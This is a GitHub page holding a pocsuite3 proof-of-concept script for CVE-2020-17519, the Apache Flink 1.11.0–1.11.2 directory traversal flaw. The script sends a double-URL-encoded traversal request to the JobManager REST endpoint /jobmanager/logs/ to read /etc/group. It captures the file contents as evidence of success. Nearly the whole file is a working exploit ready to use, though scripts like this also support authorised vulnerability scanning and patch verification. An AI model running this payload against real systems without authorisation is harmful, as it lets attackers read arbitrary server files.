forked from hanc00l/some_pocsuite
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathflink-CVE-2020-17519_1.11.2_fileread.py
70 lines (60 loc) · 2.29 KB
/
flink-CVE-2020-17519_1.11.2_fileread.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import re
from urllib.parse import urlparse
from pocsuite3.api import requests as req
from pocsuite3.api import register_poc
from pocsuite3.api import Output, POCBase
from pocsuite3.api import POC_CATEGORY, VUL_TYPE
class TestPOC(POCBase):
vulID = ''
version = '1'
author = 'hancool'
vulDate = '2021-1-5'
createDate = '2021-1-12'
updateDate = '2021-1-12'
references = [
'https://github.com/vulhub/vulhub/tree/master/flink/CVE-2020-17519']
name = 'Apache Flink目录穿越漏洞'
appPowerLink = 'https://github.com/apache/flink/commit/b561010b0ee741543c3953306037f00d7a9f0801'
appName = 'Apache Flink'
appVersion = '1.11.0-1.11.2'
vulType = VUL_TYPE.ARBITRARY_FILE_READ
category = POC_CATEGORY.EXPLOITS
desc = '''
Apache Flink 1.11.0-1.11.2中引入的一项更改,允许攻击者通过JobManager进程的REST接口读取本地文件系统上的任何文件,访问仅限于JobManager进程可访问的文件。
'''
samples = ['127.0.0.1']
def _verify(self):
result = {}
pr = urlparse(self.url)
if pr.port:
ports = [pr.port]
else:
ports = [8081]
for port in ports:
try:
url_check = '{}://{}:{}/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fgroup'.format(
pr.scheme, pr.hostname, port)
r_test = req.get(url_check, verify=False)
if r_test.status_code == 200 and re.findall(b'^root:x:0', r_test.content):
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = '{}:{}'.format(
pr.hostname, port)
result['extra'] = {}
result['extra']['evidence'] = r_test.content.decode(
'utf-8').strip()
except:
#raise
pass
return self.parse_attack(result)
def _attack(self):
return self._verify()
def parse_attack(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail("not vulnerability")
return output
register_poc(TestPOC)